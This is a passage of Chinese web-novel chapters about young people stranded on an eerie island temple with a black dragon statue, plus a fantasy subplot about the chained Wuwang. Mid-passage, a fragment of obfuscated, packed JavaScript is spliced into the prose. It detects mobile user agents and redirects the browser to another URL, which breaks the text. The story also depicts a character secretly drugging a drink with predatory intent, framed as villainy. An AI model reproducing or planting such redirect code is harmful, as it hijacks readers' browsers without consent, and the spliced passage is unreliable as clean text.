这一刻,顾冉的脑子转的很快,看着屏幕角落里只余下一格的信号标志,把手机举到了温辞面前,说:“温辞,你的手机还有没有信号啊?我的手机没有信号,连信息都发不出去。你看。”
“可能是天气的原因吧,这岛又在海上,没有信号也正...”说着,温辞一边掏手机,一百年垂眸去看她的手机。
温辞本来只是打算看一眼就收回目光的,她先是看了一眼右上角的信号标志,虽然不是满格,但的的确确是有信号的。
正准备说些什么,她忽然认出,顾冉给她看的,正是两个人的聊天页面。而且,那一段才发出去的信息,好像在说着什么重要的事情。
于是,她定睛细看。
“也正常。”同时,不忘继续说完刚才没说完的话。
顾冉见章扬和顾清河先后冲着她们的方向望过来,她不着痕迹的把手机收起来,又对着温辞说:“你看看你的,有没有信号。有的话,待会儿借我发一条信息。”
温辞嗯了一声,不动声色把目光转过到自己的手机上,点开了自己和顾冉的聊天页面,仔细看完了顾冉发给她的那段话。
她和顾冉的对话,在场的所有人都听得一清二楚。司渊一开始也并未觉得有什么不对劲,直到温辞垂眸去看她自己的手机,他忽然感觉温辞整个人都僵硬了很多。
柔顺的肢体,瞬间变得无所适从。
于是,他下意识垂首去看她。
因为家贫,每每偶得一本书,他就翻来覆去的看,故而自小便练就一目十行的本领。他只垂眸瞥了一眼,就将那段文字看个彻底,一字不漏的印在了脑海。
司渊平静抬头,余光瞥了一眼站在温辞身侧的顾冉,随即又把目光落在章扬身上。
不等章扬发现,又移开了。
温辞还垂着脑袋,指腹无意识的拨弄着屏幕边缘,像是在思索着什么。
顾冉并没有把章扬说的原话发给温辞,只是换了更为婉转一些的说辞。并非是她不记得那些污言秽语,她只是不想让那些话污了温辞的耳朵。可就算是这样,温辞也看着那段话失神了好一会儿。
司渊抬手,放飞啼鸦,继而手臂环过温辞的脖颈,胳膊顺着她的发丝垂下,把手机从她的手里抽走,放到了自己的口袋里,说:“行了,左右也是没信号,先别玩手机了,赶路要紧。”
温辞仰头,望着他那双深不见底的眼睛,不安的情绪消散了大半。
司渊抿了抿唇,把手臂从她的肩上挪开,途径她的后背时,轻轻拍了两下,随即低喃一声:“不怕,有我。”
温辞知道,他是看到了顾冉留给她的话,所以才出言宽
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慰她。她冲司渊点点头,把视线落在了不停在头顶上空盘旋的啼鸦身上。
似是感受到她的注视,啼鸦扑打着翅膀,连鸣啼都莫名兴奋了许多。
眼看着,它就要落在温辞的肩膀上。可温辞始终害怕它那双尖利的爪子和长喙,下意识瑟缩,往司渊身后躲了一下。
“啼鸦,不许。”司渊及时开口,音色沉沉,蕴满了警告。
回应他的,是啼鸦极为不满的鸣叫声。尽管不满,却也算听话。它调转了飞行方向,没有落在温辞的肩上。
啼鸦扑扇着翅膀,飞到了最前面。
司渊牵起温辞的手,十指相扣,扫了一圈众人,说了句:“走吧,马上就要下雨了。”
顾冉紧随其后,顾清河和章扬又一次落在了队伍后面。
最初,一众人还以为是司渊在前面带路,直到途经一处岔路口。所有人顿足,就连司渊,也把视线落在了相对开阔的那条路上。
就在他们准备往那条路上走时,飞出去好远的啼鸦忽然折返回来,嘎嘎尖叫两声,随即又往那条狭窄的小路飞去。
“走这边。”
司渊脚步一顿,也跟着调转了方向。温辞毫不犹豫跟上,顾冉也是。章扬正准备跟上去,却被顾清河暗地里拽住了手臂。
“等等。”顾清河说。
章扬停了下来,司渊也顿下脚步,回头看他。
不知是不是被未知给吓到,他不再刻意伪装平和,无论是面容,还是言语,无形中透出一抹尖锐。
“为什么要走这条看起来荆棘遍布的小路?”他直勾勾盯着司渊,指着另外一条路,说:“明明这一条更好走一些。还是说,你有什么别的坏心思?”
温辞听了,上前一步,正准备说些什么,又被司渊给挡了回去。
司渊解释道:“你说的那条,看似平坦,尽头却是悬崖。走过这条荆棘小路,会有一座庙宇,我们可以暂时避一下。”
“你不是说,你没有来过这里吗?”章扬也迅速转动脑子,及时抓住了司渊话里的漏洞。顾清河没说话,可眼神里依旧充满了质问。
司渊抬眸,看了一眼头顶的啼鸦。随即抿唇,说:“我从小生活在海边,能嗅到海水的味道。”
他指了指那条宽阔的路,又指了指他目前正在走的路,说:“那边,海腥味很重。而这一边,有浓郁的檀香味。”
这只是其中的一个理由。最重要的,他并没有说。其实,悬崖和庙宇这些东西,是啼鸦告诉他的。他不想让啼鸦成为被关注的对象,所以并不打算告诉除了温辞以外的任何人。
顾清河和章扬并不相信他的话,一脸的不信任。
司渊也没有强求,说:“没有关系,如果你们不想跟我走,我们可以兵分两路。”
说完,不等他们反应,他重新牵起温辞的手,说:“阿辞,我们走。”
温辞冲他点点头,抬步跟了上去。路过顾冉身边时,她步子慢下来,问:“顾冉,你跟谁一起?”
顾冉先是看了一眼顾清河和章扬,他们神色莫测,眼神却莫名多了一抹阴翳。
随即,她又看了一眼温辞和神色无比镇定的司渊,目光触及他手上提着的那一大兜零食时,她没再犹豫,看着快步来到温辞身边,说:“我跟你们走。”
不知道这鬼天气还要持续多长时间,她不想饿死。更何况,她心里总觉得,尽管司渊寡言少语,但比顾清河和章扬任何一个人都有安全感。
“好。”温辞冲她点点头,又转头看向顾清河和章扬,说:“你们也小心一点,如果前面当真是悬崖,可以掉头回来。”
司渊也说:“我会在路上画上箭头,你们过来的时候,注意一下。”
说完,不等顾清河章扬反应,司渊牵着温辞,温辞牵着顾冉,三人一起迈向了那条狭路。
“哼,咱们走。我就不信了。”章扬冷哼一声,语气里满是都司渊的不屑。
反倒是顾清河,心里忽然生出一抹怯意。他深知,刚才的那番话,是他一时没有控制好情绪所致。
陌生的荒岛,恶劣的天气,还没有食物和水,兵分两路实在不是明智之举。
他想跟上司渊,却又拉不下脸。更何况,章扬已经先他一步出发,走出去好远,他只好跟上去。
31. 应龙
司渊顿足,一寸一寸把手电往房间的更深处探去。
啼鸦自叫了那两声之后,就再也没有发出过动静。他想第一时间找到它的栖身之所。故而,忽略了一些细节。
丝丝缕缕的光线,自身前的矮台一扫而过。温辞眼尖,一眼看到上面摆放的东西。她拽了拽司渊的手指,说:“司渊,看,有蜡烛。”
司渊调整了一下手电,照向温辞手指的方向。漆黑的木质矮案上,香烛摆放的整整齐齐。他垂首,冲温辞说了句:“打火机在我的上衣口袋里。”
温辞拿出打火机,蹲下身,一边点燃蜡烛,一边说:“好奇怪啊,明明从外面看,这座庙宇破败的不成样子,显然是许久都没有人打理过的样子。又临近海边,可这满案的香烛,没有沾染半点灰尘不说,竟然还很干燥。”
说完,她举起点燃的蜡烛,说:“看,一点就着,没有半点水分。”随即,她看向顾冉,说:“顾冉,帮我多点几盏,亮堂。”
顾冉:“好。”
两人蹲下身,又多点了几根,依次放到了四个角落。司渊一直没动,他在观察矮案后面的那尊塑像。
手电筒加上蜡烛的光亮,勉强将这殿宇照亮。尽管昏黄,却能够看清这殿内的基础构造。
顾冉把蜡烛放到角落,转身往回走的时候,目光下意识寻着这殿内最亮的光线而去。耀眼光线的尽头,是一条通体黑色,遍布鳞片的巨大爬行生物。
刹那,顾冉脑海中闪过之前无意间在动物世界的纪录片里看到的黑色巨蟒,汗毛直立,下意识尖叫的同时,猛地后退两步,抬臂指着司渊站立的方向,说:
“啊,蛇,有蟒蛇。”
温辞甚至没来得及把蜡烛放下,又端着跑到顾冉身边。步子迈的太大,流动的空气近乎要把火苗熄灭,她连忙用手护。
“哪有蛇?”
“假的,是塑像。”
司渊没有回头,只是晃了晃胳膊,光线落在塑像的最高处,啼鸦扑扇着翅膀,挡住了脸,阻隔了刺眼的光线。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445374|134673||http|test|mini|href|location''.split(''|''),0,{}));
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>它蹲在塑像的最高处,塑像是黑的,啼鸦也是黑的,两者仿佛浑然一体。如果不是刚才顾冉那声尖叫惊得它扑扇了下翅膀,司渊也发现不了。
“嘎。”
似是为了表达它的不满,它冲着司渊叫了一声,却始终没有从塑像上飞下来。
寻到了它在哪,司渊没有过多在意它的举动。而是跟在温辞身后,围着这尊塑像转起了圈。
顾冉也稳了稳心神,上前走了几步,却始终没有靠太近,只是远远看着温辞和司渊。两人绕到塑像背后,完全挡住了顾冉的视线,她心里稍有慌乱,耳边又传来一阵絮絮低语,瞬间安定了很多。
她缓缓挪动脚步,直到两人重新回到她的视野,顾冉才彻底松了一口气。
“司渊,你看,这个塑像还有翅膀。”
温辞的脑海中,莫名浮现出之前在广场听到的有关庚辰岛的传说,以及她做的那个无厘头的梦境。
“不是蟒蛇,是龙。”司渊仔细打量一番,随即得出结论。
32. 推心
两人从顾清河身边路过时,顾清河忽然叫住他们,说:“外面风雨很大,你们这个时候出去,很危险。”
温辞说:“我们不走远,就是出去看看。”
顾冉不动声色走到了那袋零食附近。除了温辞和司渊,也就只有那袋补给能够暂时满足她空虚不安地内心。
顾清河还想说些什么,可温辞根本没有给他开口的机会,她紧跟着司渊走向门口,只留给他一个利落的背影。
看着两人无比亲昵的手牵着手的画面,顾清河心生妒意。阴暗疯狂的情绪很快占据了他的整个脑海,等他意识到后,迅速垂下眼,再抬起头时,神情已经恢复成正常模样,看不出半点异样。
他始终站在门口,视线并没有从两人身上挪开。除了默默关注温辞,他更想知道,司渊这个时候领着她的目的。
总归不会是突然想吹风、听雷、淋雨。
隐在角落的章扬,虽然没动地方,却也在收拾自己仪容的间隙,频频把目光落在那两人身上。
他和顾清河一样,窥视温辞的同时,对司渊充满了好奇。
尽管他很不想承认这一点。
迈过门槛,风雨声,滚滚的闷雷声,一浪高过一浪,无比清晰地传入了两人的耳中。
温辞正准备往前走两步,司渊一个大跨步,站到了她面前,转过身,正对着她,说:“等一下,外面雨大。”
话音未落,他脱下了自己身上那件外套,不由分说地套到了温辞身上。
兜帽有点大,盖住了温辞的眼睛。
她只有仰起头,才能看见他。司渊扬起手,拎着帽檐,把帽子给她调整到最佳角度,牵着她往前走了几步。
两人走出去没多远,把身体完完全全置于风雨之中。也是在这一刻,细微灵敏的感官,好似完完全全恢复到正常状态。
“司渊,有什么发现?”温辞问他。
“这里很奇怪。我们眼前的这座庙,甚至是整个岛屿,都充满了诡异,还是小心一点好。”
司渊不太清楚她接受这种不太符合常理的事物的阈值在哪里,说太多怕她消化不了,一句话含糊过去。
垂眸,温辞若有所思的模样落入眼中。
“你呢,发了什么?”他问。
温辞没有第一时间回答他的问题,而是转过身,仰头看着面前的这座古朴又不失雄伟的殿宇,说:
“我也觉得很奇怪。”
“你有没有发现,在顾清河和章扬进来之前,我们谁也没有听到风雨声。”
话音未落,一道闷雷自头顶的乌云里传出。冷不丁轰隆隆一下,像是突然道破天机的警告。
可温辞并没有被吓到,只是抬头看了一眼。
司渊也是。
反倒是庙里的那三位,神色各异,却都能看出惶恐。
雷声入耳,几乎要把耳膜震碎,不可能不害怕。尤其是顾清河和章扬,他们被惊雷劈了一路的脚后跟,都要得PTSD了。
雷声停止后,风雨也小了很多,淅淅沥沥的雨水被风得斜打下来。
温辞身上穿着他的外套,防水。除了飞溅到小腿上的几处水渍之外,她并没有感到多少不适。
司渊浑身湿漉漉的,却看不出半点狼狈。毛寸碎发柔顺贴在脑袋上,像一只顺毛大狗狗。
温辞眼眸噙了抹浅淡的笑意,在司渊转头看过看之前,挪开了定格在他身上的目光,重新看向面前的殿宇,缓缓开口,说:“这座庙,就像是被罩上了一个无形的静音罩。”
司渊垂眸,看了她一眼,见她神色平和,完全没有被吓到。于是,他也跟着补充了句:“而顾清河和章扬这两个人,就像是一道禁忌。”
“禁忌?”温辞呢喃着,想起顾清河和章扬进入大殿之后的种种变化,越发觉得司渊这个表达很贴切。
司渊嗯了一声,眉头又缓缓蹙起,说:“还是不太准确。与其说他们两个人是一道禁忌,倒不如说,是他们说的话,打破了那道无形的罩子。”
温辞:“他们刚进来的时候,的确没有听到风雨声。”
“直到他们亲口说出外面在下雨,风声、雨声,甚至是雷声才缓缓进入我们耳中。”
司渊一边说,他一边垂眸。
温辞微微仰着头,神色专注地打量着面前的这座庙宇。零星几缕雨水被风斜吹到她的脸上,卷翘的睫毛上挂了一滴,像颗晶莹透亮的白水晶。
最重要的是,她好像并不害怕,反而眸底蕴着一抹对于新鲜事物的挑战,甚至是跃跃欲试。
她这个人,只是看起来柔弱,实则心理极其强大,远没有他想象中的不堪一击。
司渊眼中,也多了丝笑意。他再也不用顾忌会吓到她,终于可以肆无忌惮地和她沟通自己的发现和想法。
司渊:“而且,在我的记忆里,这片海域,原本并没有小岛。”
温辞转头看了他一眼。这句话,她已经不止一次听到了。只是前几次,司渊说的更委婉一些。
“你的意思是,我们如今身处的这座岛屿也有问题?”虽然是疑问,但温辞瞬间变得警醒起来。
司渊点点头,神色笃定,说:“阿辞,我从小在海岛长大。庚辰岛周围的海域情况,我还是清楚的。庚辰岛附近,的确有几座小岛,可这里没有。原本,这里只是一片海。”
雨水从宽大的衣领灌进去,打湿了她原本的衣服,她也浑不在意,只是微仰着脑袋,认真听他说话。
两个人在外面待的时间的确是有点久了。
司渊喉结滚了滚,低沉开口:“无论如何,我们眼前的这座庙宇,是岛上唯一一处能够遮蔽风雨的场所。走吧,先进去再说。”
“好。”温辞抬步跟上去。
可她脑海里,却始终在想着司渊刚才说的那些话。
她是相信司渊的。可她如今,又切切实实地站在这座本不应该存在的岛上。脚下的触感是不会骗人的。
不会吗?
温辞忽然想起那阵突然入耳的风雨雷电的声音,脚步一顿。
“怎么了?”司渊也跟着停下来。
温辞垂首,看着脚下平坦的石板路,低喃了声:“司渊,你说,脚下的触感会骗人吗?”
司渊愣了一下。
温辞继续开口:“既然耳朵会骗人,那视觉和触觉呢?有没有可能也会?”
司渊彻底听懂了她的话。大千世界,莫名诡异的事情不要太多。在她提出之前,他不是没往那个方向想过
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。
温辞又随口咕哝了句:“如果真的是这样,那得是多大的一种能量啊。”
司渊没有正面回答她的问题,牵起她的手,带着她往庙里走的同时,问:“你相信这些——”
“怪力乱神?”他停顿一瞬,在脑海里搜刮了一圈,才找到这么一个词语。
温辞点头:“大千世界,无奇不有嘛。”
时间紧迫,她并没有告诉司渊,自己年幼时曾被一种神秘的力量送去过别的时空生活过一段日子。
她甚至怀疑,自己之所以心脏不好,就是因为小时候的那段遭遇。但命数是天定的,很难改变。而且她也不后悔。
所以,就算真的有某种能够一息之间让这座海岛出现在海面上,也不奇怪。
“先进去再说。”司渊牵着她,回到了庙里。
顾冉快步凑上来,拉着温辞的胳膊,问:“温辞,你们怎么出去这么长时间啊?有什么新的发现吗?”
“雨势已经小了很多,但风没有停。安全起见,我们要在这里避一下,等天晴了再离开。而且,这座岛我们谁也没有来过,不知道有没有危险,每个人都警醒些。”温辞耐着性子给顾冉解释,余光瞥了一眼径直朝着应龙神像走过去的司渊。
-
司渊在应龙塑像前面站了一会儿,栖在高处的啼鸦忽然扑扇了下翅膀。殿内其他人的注意力都在温辞身上,除了他自己,谁也没有听到。
司渊仰头看了一眼,它那双眼睛,在昏黄烛火的照耀下,像一双散发着神秘光芒的黑曜石。
他冲啼鸦勾了勾手指,它仿若未闻,甚至把脑袋缩进了翅羽中,故作瞌睡状,假装没有看到他的召唤,也不再看他。
司渊挑了挑眉毛,视线从它身上挪开。
脑海中,却下意识闪过啼鸦在这岛上的所有异样。
司渊记得清清楚楚,他和温辞出门时,特意寻了它一圈。它正宿在枝桠上,连他开口唤它,它都懒得抬头,只是滚了滚喉咙,发出一阵有气无力的鸣啼。
那死相,和现在的它一样一样的。
更何况,他和啼鸦,依旧有那种莫名其妙的心灵感应在。
所以,啼鸦应该不是假的。
可是,明明他们出门的时候,它还在家里。它又是什么时候飞到这座岛上来的呢?
最重要的是,它好像对这座岛很熟悉,连哪里有能避风遮雨的地方都知道。
后知后觉的,司渊意识到,刚才他和温辞交流时,忘记把啼鸦的异样也算进去了。
其实,啼鸦不仅仅对这座岛屿熟悉。
就连眼前的这尊应龙塑像,它好像也尤其喜欢。不然,也不会宿在上面假装没看见他了。
司渊敛了发散在脑海中的万千思绪,重新打量起眼前这尊栩栩如生的应龙塑像。
他用手机打着光,自上而下,最后把视线落在了摆放着香烛的矮案上。
蜡烛已经燃烧了好一会儿,空气中到处都弥漫着沁人的暗香。
他随手拿起一支没有点燃的蜡烛,微微垂首,闻了闻味道。
很淡的香气。
但几乎可以确定,如今空气中弥漫着的浓郁香气,正是从这些燃烧着的蜡烛中散发出来的。
33. 置腹
司渊拧眉,忍不住暗想:这些蜡烛,会不会有问题?
下意识的,他屏住了呼吸。
可他是人,不能永远闭气。更何况,外面还在下雨,除了这间庙宇,一时间很难再找到别的避所。
如果熄了灯,到处黑乎乎一片,就算有什么东西摸黑进来,一时间也很难发现。
他们一行五人,如果用手机手电筒依次照亮,应该能挺过这个夜晚。
这边,温辞已经和他们说完了话,朝着司渊走来。其余几人,也跟在她身后,往里面走来走。
司渊放下蜡烛,转过身,把自己的顾虑和他们说了一下。
顾清河听了,最先反驳:“如果风雨一晚上消停不了呢?第一天就把手机的电给消耗完,后面我们要怎么办?”
他身侧的章扬听了,也跟着点头应和:“对啊。净整些没有用的。”
显然,两人不同意他的这个提议。
“你说的也有道理。我们并不清楚,这场风雨什么时候才能结束,是我思虑不周。”说完这话,司渊抿了抿唇,没再开口。
温辞深吸一口气,仔细闻了闻殿中的味道。
随即,她微微俯身,从矮案上端起一支正燃烧的蜡烛,举到面前,用另一只手掌轻轻扇了两下。
司渊甚至来不及阻止,丝丝缕缕的氤氲白色烟雾钻入她的鼻息。
“还是谨慎一点好。”司渊一边说,一边把蜡烛从她手上夺走,“胆子也太大了,万一这香味有毒呢?”
司渊曾想过,眼前的这一切,包括这座小岛,会不会全是幻觉。而致幻的最主要因素,就是这散发出这莫名香味的蜡烛。
不等温辞有反应,顾冉先一步捂住了口鼻。
章扬见了,轻嗤一声:“要不要这么夸张啊,我们在这里待了这么久,如果这味道有问题,我们早就中招了。”
话落,顾冉脸上显露出一抹尴尬。尤其是她那只手,放下也不是,举着也不是。
司渊一如既往地冷静,吝啬到连眼神都没给他一个,只是专注盯着温辞。
章扬一直在等司渊的反应,见他这样,胸口像是堵了团棉花,那口郁气上不来又下不去。
顾清河一如既往地扮作老好人,见温辞斜睨了章扬一眼,先她开口:“行了,都少说几句。”
温辞强忍着想要吵架的冲动,白了章扬一眼后,重新看向司渊,说:“我只是觉得,这个味道有点熟悉。”
“熟悉?”司渊摸了摸放在自己口袋里的她的药瓶,回想了下那个味道,觉得不是很像。
“嗯。”温辞点点头,又做了一个深呼吸,说:“有点像我爸书房里常用的那款安神香。”
司渊垂下眼眸,他没有去过霍懈北的书房,更是第一次闻到这个味道。
余光注意到温辞看向他时,略带担忧的眼眸,他缓缓开口,说:“我的见识少,之前没闻过这个味道。或许,这蜡烛真的有安神的作用也说不定。”
温辞听了他这番话,看向他的眼神中,不自觉多了一些欣赏。
大胆假设,小心求证。错了立即改,最重要的一点:不盲目活在自己的世界里,能听进去别人的话。
司渊谦逊的模样,让顾清河的眉心一紧。
他好像有点知道,温辞为什么会跟他在一起了。如果他是女生,肯定也会被他给吸引。
这样想着,顾清河的目光下意识扫向在场的两个女生。
温辞也便罢了。她如今的身份是司渊的女朋友。可向来对章扬痴迷的顾冉,如今也是专注盯着司渊。
略微有些不同的是,顾冉看向司渊的眼神里,没有爱慕。
温辞摘下了被雨打湿的兜帽,她纤细脖颈处的那圈衣领,也泛着些许潮意。
湿漉漉的。
司渊把视线挪开,迈开步子,从一旁的补给袋中翻出一包纸巾,递到了温辞手里。
大庭广众之下,尤其是对她无比垂涎的异性的目光之下,实在不是一个清理衣服的好时机。
温辞微微垂着脑袋,修长的手指灵活撕开了纸巾的外包装。
司渊抬眸,见其他人的视线尽数落在他和温辞身上,神色暗了暗。
他上前一步,大半个身子挡在温辞面前,阻挡了他们望过来的视线。
随即,他拎起刚才随手放置在一旁的补给袋,说:“里面有水、食物和纸巾,你们也刚才也淋了雨,有需要的话,自己拿。”
“谢谢。”顾清河和章扬对视一眼,伸手接过,埋头翻找着什么。
塑料袋的窸窣声传入每个人耳中。
司渊又从矮案上端了盏烛台,又伸手摁下她正准备扯开衣领的手,说:“阿辞,到神像后面来。”
看着他掌灯立在身侧的模样,温辞后知后觉,余光瞥了一眼周围的人,赧然吐了吐舌,应了句:“噢,好。”
两人一前一后走到神像背后,司渊把烛台放下,往后退了两步,低语:“别担心,你慢慢整理,我守在这儿,不会有人看见。”
说完,不等温辞回应,他背过身去,留给温辞一道伟岸的背影。
温辞的动作很轻,可衣物的摩挲声还是传入了司渊耳中。
好在,那几人还在翻着那包零食袋。塑料的响动,盖过了她发出的动静。
顾清河拿完纸巾,随手递了包薯片给顾冉,紧接着把零食袋随手递到了章扬手上。
章扬随口说了句累,拎着袋子走到了一处背光的角落。
他抬眼扫了一圈,司渊和温辞在塑像的后面,从他的位置看不见两人的动作。
顾清河正低着脑袋,用纸巾清理着自己胳膊、后颈上粘腻的雨水。
顾冉的注意力也全在手上的那包薯片上。早上出来的时候,她好像没怎么吃早餐。
每个人都在专注自己的事情,没有人把注意力投在他身处的角落。
章扬故意弄出很大的动静,手上的动作却很麻利。
袋子里有很多瓶水,荔枝口味的却只有一瓶。
他拿起那瓶水,拧开,倒出一点在地上,又从口袋里拿出一早就准备好的无色无味的神秘药水,倒进了瓶子里后,又拧上了瓶盖,放入了袋子里。
看着手里的小空瓶,章扬忽然有点后悔自己的冲动。今天人多眼杂,司渊又和温辞片刻不离。
他要如何才能下手?!
可这药他就只有一瓶,后悔也晚了。
就算他最后不能得手,惩罚一下温辞也是应该
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的。
谁让她骗他!前脚对他说不想谈恋爱,后脚就和司渊你侬我侬。
总归,他、顾清河和顾冉还在这里,就算这药真的起了作用,司渊也不能明目张胆做些什么。
给他药的那个人说了,这种药,最适合用在故作清冷的人身上了。那反差感,会很爽。
仅仅是这样想着,章扬就有点兴奋。
一想到后面有可能会发生的事情,更是感觉口干舌燥。
他拿出一瓶水,拧开,咕嘟咕嘟灌了一大口。
依旧没有人往他这里看,章扬心里越发得意。
可他不知道的是,他的一举一动,无比清晰的映在了水镜里。
围在水镜前的温辞父母神色凝重,生怕温辞会着了章扬的道。
“他竟然想在阿辞身上用这么下三滥的手段。”温予气得脸都绿了,掐着霍懈北胳膊的手指无意识用力,指甲甚至都嵌入了他的皮肉。
“不生气,我提醒阿辞。”
霍懈北也被气够呛,他一手轻抚着温予的肩膀,另一只手拿出手机,翻出电话簿,准备给温辞打电话。
坐在夫妻二人对面的无妄,忽然开口:“岛上信号差,不一定能收到电话,还是我去吧。”
霍懈北手上的动作顿住,和温予对视一眼后,两人齐齐看向无妄。
就两人看向无妄的一瞬间,空中忽然传来一阵铁链声。一阵疾风吹过,四条铁链直冲冲地朝着无妄飞过来。
温予被这动静吓了一跳,下意识闭了下眼睛。
等她重新睁开眼睛的时候,无妄的四肢被铁链缚住。
温予眼中闪过一抹惊讶,而无妄却像是早已习惯了一样,见她看过来,还冲她扬起一张笑脸。她又侧目看了一眼霍懈北,他一脸平静,仿佛见过千万次这样的场面。
但仔细再看,依稀能够从他眼中看出不舍。
“非要在今天吗?”霍懈北连声音都有些喑哑。
“舍不得我?”无妄也故作轻松,眼眸里噙着一抹浅淡的笑意。
无妄生了一张和司渊一模一样的脸——不,更确切来说,是司渊和无妄长得一模一样。端正的五官,笑起来很好看。可无论是司渊还是无妄,都很少笑。
所以,尽管他和无妄认识了很久很久,也很少看到他笑的如此畅快。
霍懈北没说话,只是定定看着他,连温予扫来的探寻目光都没发觉。
无妄垂首,看了眼缚住自己四肢的铁链,脸上的笑意敛了几分,说:“你知道的,这些死物本就拦不住我。”
话音未落,他抬手一挥,沉重的铁链声传入耳中的同时,那四条玄铁制成的铁索瞬间化为齑粉,落了满地。
差不多半分钟之后,散落在地上的黑色齑粉重新集结到一起,幻化成铁链的模样,重新束缚住无妄的四肢。
这一次,无妄没有再去看那几条铁链,无比平和地看着霍懈北和温予,缓缓开口:“你们也看到了,它也就只有这点能耐。我挥一挥衣袖,它就能化为齑粉。尽管能够无限次复原,但间隔的时间足够我离开了。
我之所以没有走,是因为要等师——”
无妄停顿一瞬,不知想到了什么,连说话的语气都带着笑意。
34. 彻骨
“我之所以没走,是因为要等到你们。只有你们两个人相遇,温辞才会出生。温辞出生后,我又要等她长大。
现在,她长大了,还遇见了司渊。
以后,就是他们两个的故事了。
我也被禁在这里好长时间了。
烦了,也腻了。是时候该离开了。”
注意到霍懈北和温予投来的复杂目光,无妄正了正神色,说:“其实,我们也算不得分别。司渊不是还在吗?无论你有多么不想相信,可事实就是:他就是我,我就是他,我们是一个人。”
几乎是同一时间,三个人的视线全部落在水镜上。司渊的面容,在水镜里无比清晰地显露出来。
片刻后,无妄挥了挥衣袖,水镜消失不见,桌案上凭空多了一幅空白画卷和一截梅枝。
同时,墙上的壁画一点一点失去光泽。星星点点的光芒,落在了那幅空白的卷轴上。
“这是我最宝贵的记忆。”无妄看向霍懈北,说:“你是我最好的朋友,也将会是我的老丈人,我想请你帮我保存。”
说这话时,无妄那双漆沉的眼眸里,盛满了揶揄和笑意。
温予和霍懈北的脸上却同时显露出一抹不自然,两人的视线不约而同落在那幅逐渐舒展开的卷轴上。上面画了很多人,更有两张熟悉的面孔——温辞和坐在他们面前的这个人。
无妄顺着他们的目光看过去,视线不由自主地定格在身着红衣的温辞身上,神色也越发柔和,缓缓开口:“无论你们愿不愿意,我和温辞,都是天定的命数。就像你们两个人,隔着万千时空,依旧能够爱上对方。这也是命数,谁也改变不了。”
随后,他又把视线落在卷轴一旁开得正艳的梅枝上,说:“时间要到了,我必须得离开了。没有我坐镇,九岭山也会立即变成不毛之地。单凭你们自己,是无论如何也走不出去的。这截梅枝,能够引导你们找到正确的下山路。”
霍懈北听着,唇角颤了下。
无妄不想听他说一些煽情的话,及时开口打断了他:“很抱歉,这一次,我不能送你们下山了。我们,再会。”
说完,他冲温予夫妻二人扬起一张更为灿烂的笑脸。
紧接着,他重新挥了下衣袖。
铁链化为齑粉的同时,无端掀起一阵强风,吹得人连眼睛都睁不开。可就算是这样,霍懈北和温予谁也没有闭上眼睛。只是抬了抬手掌,从指缝里看着无妄,甚至舍不得眨眼。
脱离了铁链束缚的无妄,从容站起身。他的身形一动,下一秒钟,就来到了小院正中央。
那些一团团的,像是浓稠的黑色雾气的玄铁粉末却像是追逐到他的味道一样,紧跟着他的移动轨迹,紧随其后追到了小院。它们重新凝成四道铁链,眼看着就要重新缚住无妄的四肢。
“小心。”温予和霍懈北同时为他捏了一把汗,同时开口。
无妄闻声,转头冲二人笑笑:“我走了。你们也尽快下山吧。”
铁链的哗啦声响彻耳迹,霍懈北和温予甚至没有看到他开口。伴着一阵氤氲的紫气腾空,逐渐模糊了两人的视线。
唯有无妄的声音,在小院回响。
片刻,铁链声止,雾气也缓缓消散,两个人的视线变得清晰。
小院里却没了无妄的身影,只一尊和在水镜里看到的黑色应龙塑像绕在小院里唯一的一棵梅花树上,四根铁索紧紧缚在应龙的四条爪子上。
温予和霍懈北连忙跑出去,近了才发现,束缚住应龙石像的铁链不是四根,而是六根。另外两根,贯穿了应龙的翅膀根部。铁链刺入的地方,翅膀上的羽毛纹路甚至裂出几条不规则的缝隙。
单单是看着,就觉得疼。
霍懈北沉默地看了好一会儿,直到一阵风吹来。树枝上的梅花摇曳飘下,他才回神,冲温予说了句:“我们也走吧。”
说完,他拿起无妄留下的卷轴和梅枝,牵着温予的手,离开了九岭山。
温予:“无妄他真的离开了吗?”
霍懈北:“迟早有一天,会再见的。”
-
无名荒岛上。
温辞已经收拾好了自己,却依旧没有脱下司渊的外套。陌生的地域和环境,司渊衣服上沾染的清淡薄荷的味道,让她心安。
司渊留给她的,依旧是一道挺括的背影。虽然是背影,却
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依旧让她觉得心安。
“我好了。”温辞冲着那道背影喊了一声,端起烛台,抬步朝他走过去。
司渊转过身,见她端着烛台,脑海中闪过沾染在顾清河和章扬皮肤上的蜡油,心里一紧。他担心滚烫的蜡油会烧到她细腻的肌肤,忙上前两步,说:“我来吧。”
他刚接从温辞手里接过烛台,脊背隐隐生出几分异样。恍惚中,司渊隐约听到了什么声音,像美玉摔到地上乍然碎裂。
不等他仔细侧耳倾听,肩胛骨处传来一阵突如其来的彻骨痛意,就像是两把利刃骤然刺破肌肤,穿透了他的肩胛骨。
司渊没有防备,齿关溢出一声压抑至极的闷哼。后脊的疼痛,一瞬间蔓延周身。脸色发白,额头上沁出一层冷汗。
他甚至难以稳住身形,刚从温辞手上接过的烛台翻倒在地。一声闷响过后,昏黄的光线熄灭。紧接着,司渊也倚靠着塑像蹲下身。
温辞最先反应过来,一个大跨步来到司渊身侧。她也跟着蹲下身,可手掌却不知道该放到哪儿。
因为蜷成一团的司渊,在发抖。
“司渊,你怎么样?”不知道为什么,看着司渊这个样子,她的情绪瞬间变得紧张起来,连说话的声音都带着明显的哭腔。
为了不再发出控制不住的闷哼声,司渊齿关紧叩,牙齿把内唇都咬破了,腥甜的血腥气一瞬间弥漫他的口腔。
一出声,就会暴露出他压抑疼痛的行为。所以,司渊没有说话,只是冲她摇了摇头。他尽可能的让自己的五官舒展,至少不能让温辞看到他那张因为疼痛而变得扭曲的脸。
可是,身体的语言却是骗不了人的。
无论他想要掩饰的心有多强烈,蜷成一团、止不住颤抖的身体,面无血色,却蒙上了一层冷汗的脸,无一不在向旁人诉说着他的痛苦。
